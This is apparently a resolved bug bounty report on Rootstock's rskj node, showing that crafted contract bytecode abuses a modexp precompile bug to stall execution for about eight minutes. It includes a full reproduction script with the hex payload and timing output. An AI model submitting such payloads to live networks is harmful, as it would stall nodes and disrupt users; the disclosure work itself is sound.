Crafted smart contract can take 8 minutes to execute due to bug in modexp precompile.
High
R
Rootstock Labs
Submitted None
Actions:
Reported by
guido
Vulnerability Details
Technical details and impact analysis
## Summary:
A bug in the modexp precompile can cause long stalls.
## Steps To Reproduce:
Tested on Linux x64.
```sh
#!/bin/bash
wget -q https://download.java.net/java/GA/jdk11/9/GPL/openjdk-11.0.2_linux-x64_bin.tar.gz
tar zxf openjdk-11.0.2_linux-x64_bin.tar.gz
export JAVA_HOME=$(realpath jdk-11.0.2/)
git clone --depth 1 https://github.com/rsksmart/rskj.git
cd rskj/
./configure.sh
echo """
package co.rsk.vm;
import org.ethereum.config.blockchain.upgrades.ActivationConfig;
import co.rsk.config.TestSystemProperties;
import co.rsk.config.VmConfig;
import org.ethereum.vm.*;
import org.ethereum.core.BlockFactory;
import org.ethereum.core.BlockTxSignatureCache;
import org.ethereum.core.ReceivedTxSignatureCache;
import org.ethereum.vm.program.invoke.ProgramInvokeMockImpl;
import java.util.HashSet;
import org.ethereum.vm.program.Program;
import org.ethereum.config.blockchain.upgrades.ActivationConfigsForTest;
import javax.xml.bind.DatatypeConverter;
import org.junit.jupiter.api.Test;
public class Poc {
@Test
void testPoc() {
TestSystemProperties config = new TestSystemProperties();
PrecompiledContracts precompiledContracts = new PrecompiledContracts(config, null, new BlockTxSignatureCache(new ReceivedTxSignatureCache()));
BlockFactory blockFactory = new BlockFactory(config.getActivationConfig());
VmConfig vmConfig = config.getVmConfig();
ProgramInvokeMockImpl invoke = new ProgramInvokeMockImpl();
ActivationConfig.ForBlock activations = ActivationConfigsForTest.fingerroot500().forBlock(0);
byte[] code = DatatypeConverter.parseHexBinary(\"3332335b59313660d53d601c30303030333333333d601c30303030333333333333321b1b1b1b325b593136605858425a606052015952601d52609880808060006000600536f1603d3333321b1b1b1b32365b3159605858425a606052015952601d52609880808060006000600536f1603d313880813b60003960006000f50a30303030303030\");
invoke.setGas(1000 * 1000 * 5);
VM vm = new VM(vmConfig, precompiledContracts);
Program program = new Program(vmConfig, precompiledContracts, blockFactory, activations, code, invoke,null, new HashSet<>(), new BlockTxSignatureCache(new ReceivedTxSignatureCache()));
for (int k = 0; k < 250; k++) {
vm.step(program);
}
}
}
""">rskj-core/src/test/java/co/rsk/vm/Poc.java
# This will likely fail due to a java.lang.OutOfMemoryError exception
time ./gradlew test --tests co.rsk.vm.Poc.testPoc
# Increase test heap size
sed -i 's/Xmx3G/Xmx10G/g' rskj-core/build.gradle
# Run again
time ./gradlew test --tests co.rsk.vm.Poc.testPoc
```
Output:
```
real 8m23.429s
user 0m3.147s
sys 0m0.265s
```
## Impact
Stall the network.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Uncontrolled Resource Consumption